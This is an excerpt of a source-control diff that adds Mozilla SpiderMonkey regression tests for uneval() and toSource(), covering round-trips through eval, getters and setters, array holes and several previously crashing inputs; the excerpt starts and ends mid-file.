+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, status);
+
+ status = inSection(2) + ' eval(uneval(g))';
+
+ try
+ {
+ result = uneval(g);
+ printStatus('uneval returns ' + result);
+ eval(result);
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, status);
+
+function f()
+{
+ var obj = new Object();
+
+ obj['name'] = 'Just a name';
+ obj['if'] = false;
+ obj['some text'] = 'correct';
+}
+
+function g()
+{
+ return {'if': "then"};
+}
+
diff --git a/js/src/tests/non262/extensions/uneval/regress-245795.js b/js/src/tests/non262/extensions/uneval/regress-245795.js
new file mode 100644
index 0000000000..bb5a736039
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-245795.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 245795;
+var summary = 'eval(uneval(function)) should be round-trippable';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function a()
+{
+ b = function() {};
+}
+
+var r = "function a() { b = function() {}; }";
+eval(uneval(a));
+
+var v = a.toString().replace(/[ \n]+/g, ' ');
+print(v)
+
+printStatus("[" + v + "]");
+
+expect = r;
+actual = v;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-254375.js b/js/src/tests/non262/extensions/uneval/regress-254375.js
new file mode 100644
index 0000000000..4640d3e1c8
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-254375.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 254375;
+var summary = 'Object.toSource for negative number property names';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+ try
+ {
+ expect = 'no error';
+ eval(uneval({'-1':true}));
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-304897.js b/js/src/tests/non262/extensions/uneval/regress-304897.js
new file mode 100644
index 0000000000..f88bff8445
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-304897.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 304897;
+var summary = 'uneval("\\t"), uneval("\\x09")';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = '"\\t"';
+actual = uneval('\t');
+reportCompare(expect, actual, summary);
+
+actual = uneval('\x09');
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-306738.js b/js/src/tests/non262/extensions/uneval/regress-306738.js
new file mode 100644
index 0000000000..71f8b5d014
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-306738.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306738;
+var summary = 'uneval() on objects with getter or setter';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+actual = uneval(
+ {
+ get foo()
+ {
+ return "foo";
+ }
+ });
+
+expect = '({get foo()\n\
+ {\n\
+ return "foo";\n\
+ }})';
+
+compareSource(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-311583.js b/js/src/tests/non262/extensions/uneval/regress-311583.js
new file mode 100644
index 0000000000..9121b9f4e9
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-311583.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311583;
+var summary = 'uneval(array) should use elision for holes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = new Array(3);
+a[0] = a[2] = 0;
+
+actual = uneval(a);
+expect = '[0, , 0]';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-313803.js b/js/src/tests/non262/extensions/uneval/regress-313803.js
new file mode 100644
index 0000000000..3f5c18456a
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-313803.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313803;
+var summary = 'uneval() on func with embedded objects with getter or setter';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var func = function ff() {
+ obj = { get foo() { return "foo"; }};
+ return 1;
+};
+
+actual = uneval(func);
+
+expect = '(function ff() {\n\
+ obj = { get foo() { return "foo"; }};\n\
+ return 1;\n\
+})';
+
+compareSource(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-322957.js b/js/src/tests/non262/extensions/uneval/regress-322957.js
new file mode 100644
index 0000000000..e3b8157b52
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-322957.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322957;
+var summary = 'TryMethod should not eat getter exceptions';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = { get toSource() { throw "EXCEPTION"; } };
+
+var got_proper_exception = -1;
+
+try {
+ uneval(obj);
+} catch (e) {
+ got_proper_exception = (e === "EXCEPTION");
+}
+
+expect = true;
+actual = got_proper_exception;
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-328556.js b/js/src/tests/non262/extensions/uneval/regress-328556.js
new file mode 100644
index 0000000000..c757fad02d
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-328556.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 328556;
+var summary = 'Do not Assert: growth == (size_t)-1 || (nchars + 1) * sizeof(char16_t) == growth, in jsarray.c';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var D = [];
+D.foo = D;
+uneval(D);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-358594-01.js b/js/src/tests/non262/extensions/uneval/regress-358594-01.js
new file mode 100644
index 0000000000..e5b22a575c
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-358594-01.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // don't crash|assert
+ function f() { }
+ f.__proto__ = this;
+ Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+ uneval(this);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-358594-02.js b/js/src/tests/non262/extensions/uneval/regress-358594-02.js
new file mode 100644
index 0000000000..897d739579
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-358594-02.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// don't crash|assert
+function f() { }
+f.__proto__ = this;
+Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+uneval(this);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-358594-03.js b/js/src/tests/non262/extensions/uneval/regress-358594-03.js
new file mode 100644
index 0000000000..55f4fb250d
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-358594-03.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // don't crash|assert
+ f = function () { };
+ f.__proto__ = this;
+ Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+ uneval(this);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-358594-04.js b/js/src/tests/non262/extensions/uneval/regress-358594-04.js
new file mode 100644
index 0000000000..01d1fe3e03
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-358594-04.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// don't crash|assert
+f = function () { };
+f.__proto__ = this;
+Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+uneval(this);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-358594-05.js b/js/src/tests/non262/extensions/uneval/regress-358594-05.js
new file mode 100644
index 0000000000..aa2ae6e925
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-358594-05.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // don't crash|assert
+ f = function () { };
+ f.hhhhhhhhh = this;
+ Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+ uneval(this);
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-358594-06.js b/js/src/tests/non262/extensions/uneval/regress-358594-06.js
new file mode 100644
index 0000000000..2a83057eda
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-358594-06.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 358594;
+var summary = 'Do not crash on uneval(this).';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// don't crash|assert
+f = function () { };
+f.hhhhhhhhh = this;
+Object.defineProperty(this, "m", { set: f, enumerable: true, configurable: true });
+uneval(this);
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-367629.js b/js/src/tests/non262/extensions/uneval/regress-367629.js
new file mode 100644
index 0000000000..9d7a999a22
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-367629.js
@@ -0,0 +1,45 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367629;
+var summary = 'Decompilation of result with native function as getter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a =
+ Object.defineProperty({}, "h",
+ {
+ get: encodeURI,
+ enumerable: true,
+ configurable: true
+ });
+
+ expect = '({get h() {[native code]}})';
+ actual = uneval(a);
+
+ // Native function syntax:
+ // `function IdentifierName_opt ( FormalParameters ) { [ native code ] }`
+
+ // The placement of whitespace characters in the native function's body is
+ // implementation-dependent, so we need to replace those for this test.
+ var re = new RegExp(["\\{", "\\[", "native", "code", "\\]", "\\}"].join("\\s*"));
+ actual = actual.replace(re, "{[native code]}");
+
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-375801.js b/js/src/tests/non262/extensions/uneval/regress-375801.js
new file mode 100644
index 0000000000..6f345bf8fa
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-375801.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375801;
+var summary = 'uneval should use "(void 0)" instead of "undefined"';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '({a:(void 0)})'
+ actual = uneval({a: undefined})
+ compareSource(expect, actual, summary + ': uneval');
+
+ expect = 'function() {({a: undefined});}';
+ actual = (function() {({a: undefined});}).toString();
+ compareSource(expect, actual, summary + ': toString');
+
+ expect = '(function () {({a: undefined});})';
+ actual = (function () {({a: undefined});}).toSource();
+ compareSource(expect, actual, summary + ': toSource');
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-380581.js b/js/src/tests/non262/extensions/uneval/regress-380581.js
new file mode 100644
index 0000000000..5420b3fe17
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-380581.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 380581;
+var summary = 'Incorrect uneval with setter in object literal';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '(function() { })';
+ actual = uneval(eval("(function() { })"));
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-380933.js b/js/src/tests/non262/extensions/uneval/regress-380933.js
new file mode 100644
index 0000000000..8033f886e7
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-380933.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 380933;
+var summary = 'Do not assert with uneval object with setter with modified proto';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var f = (function(){});
+var y =
+ Object.defineProperty({}, "p",
+ {
+ get: f,
+ enumerable: true,
+ configurable: true
+ });
+f.__proto__ = [];
+uneval(y);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
+
diff --git a/js/src/tests/non262/extensions/uneval/regress-381211.js b/js/src/tests/non262/extensions/uneval/regress-381211.js
new file mode 100644
index 0000000000..3ac4282e1c
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-381211.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 381211;
+var summary = 'uneval with getter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '({get x(){}})';
+ actual = uneval({get x(){}});
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-381301.js b/js/src/tests/non262/extensions/uneval/regress-381301.js
new file mode 100644
index 0000000000..be8495e662
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-381301.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 381301;
+var summary = 'uneval of object with native-function getter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var o =
+ Object.defineProperty({}, "x", { get: decodeURI, enumerable: true, configurable: true });
+ expect = '({get x() {[native code]}})';
+ actual = uneval(o);
+
+ // Native function syntax:
+ // `function IdentifierName_opt ( FormalParameters ) { [ native code ] }`
+
+ // The placement of whitespace characters in the native function's body is
+ // implementation-dependent, so we need to replace those for this test.
+ var re = new RegExp(["\\{", "\\[", "native", "code", "\\]", "\\}"].join("\\s*"));
+ actual = actual.replace(re, "{[native code]}");
+
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-385393-03.js b/js/src/tests/non262/extensions/uneval/regress-385393-03.js
new file mode 100644
index 0000000000..2f11b25ecf
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-385393-03.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ f = (function() { new (delete y) });
+ eval(uneval(f))
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-385729.js b/js/src/tests/non262/extensions/uneval/regress-385729.js
new file mode 100644
index 0000000000..5f650e6082
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-385729.js
@@ -0,0 +1,58 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385729;
+var summary = 'uneval(eval(expression closure))';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+function normalizeSource(source) {
+ source = String(source);
+ source = source.replace(/([(){},.:\[\]])/mg, ' $1 ');
+ source = source.replace(/\s+/mg, ' ');
+
+ return source;
+}
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '(function f () /x/g)';
+ try
+ {
+ // mozilla 1.9
+ actual = uneval(eval(expect));
+ }
+ catch(ex)
+ {
+ // mozilla 1.8
+ expect = 'SyntaxError: missing { before function body';
+ actual = ex + '';
+ }
+ compareSource(normalizeSource(expect), normalizeSource(actual), summary);
+
+ expect = '({get f () /x/g})';
+ try
+ {
+ // mozilla 1.9
+ actual = uneval(eval("({get f () /x/g})"));
+ }
+ catch(ex)
+ {
+ // mozilla 1.8
+ expect = 'SyntaxError: missing { before function body';
+ actual = ex + '';
+ }
+ compareSource(normalizeSource(expect), normalizeSource(actual), summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-452498-082.js b/js/src/tests/non262/extensions/uneval/regress-452498-082.js
new file mode 100644
index 0000000000..8fee44d2a1
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-452498-082.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #82 From Gary Kwong [:nth10sd]
+
+// =====
+
+ uneval(function(){[y] = [x];});
+
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-452498-101.js b/js/src/tests/non262/extensions/uneval/regress-452498-101.js
new file mode 100644
index 0000000000..c660ab9b80
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-452498-101.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #101 From Gary Kwong [:nth10sd]
+
+ uneval(function(){with({functional: []}){x5, y = this;const y = undefined }});
+// Assertion failure: strcmp(rval, with_cookie) == 0, at ../jsopcode.cpp:2567
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-452498-117.js b/js/src/tests/non262/extensions/uneval/regress-452498-117.js
new file mode 100644
index 0000000000..c2b5135790
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-452498-117.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #117 From Gary Kwong [:nth10sd]
+
+// The following all do not require -j.
+
+// Assertion failure: pnu->pn_lexdef == dn, at ../jsemit.cpp:1817
+// =====
+ uneval(function(){arguments = ({ get y(){} }); for(var [arguments] in y ) (x);});
+
+// =====
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/uneval/regress-621814.js b/js/src/tests/non262/extensions/uneval/regress-621814.js
new file mode 100644
index 0000000000..7e661d97a8
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-621814.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.uneval)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = 'pass';
+var actual = expect;
+function f({"\xF51F": x}) {}
+try {
+ eval(uneval(f));
+} catch (e) {
+ actual = '' + e;
+}
+reportCompare(expect, actual, "");
diff --git a/js/src/tests/non262/extensions/uneval/regress-624199.js b/js/src/tests/non262/extensions/uneval/regress-624199.js
new file mode 100644
index 0000000000..2634600f12
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-624199.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.uneval)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+function roundTrip(f) {
+ try {
+ eval(uneval(f));
+ return true;
+ } catch (e) {
+ return '' + e;
+ }
+}
+
+function f() { if (true) { 'use strict'; } var eval; }
+assertEq(roundTrip(f), true);
+
+reportCompare(true,true);
diff --git a/js/src/tests/non262/extensions/uneval/regress-90596-002.js b/js/src/tests/non262/extensions/uneval/regress-90596-002.js
new file mode 100644
index 0000000000..ae66ea7142
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-90596-002.js
@@ -0,0 +1,264 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 28 August 2001
+ *
+ * SUMMARY: A [DontEnum] prop, if overridden, should appear in uneval().
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90596
+ *
+ * NOTE: some inefficiencies in the test are made for the sake of readability.
+ * Sorting properties alphabetically is done for definiteness in comparisons.
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 90596;
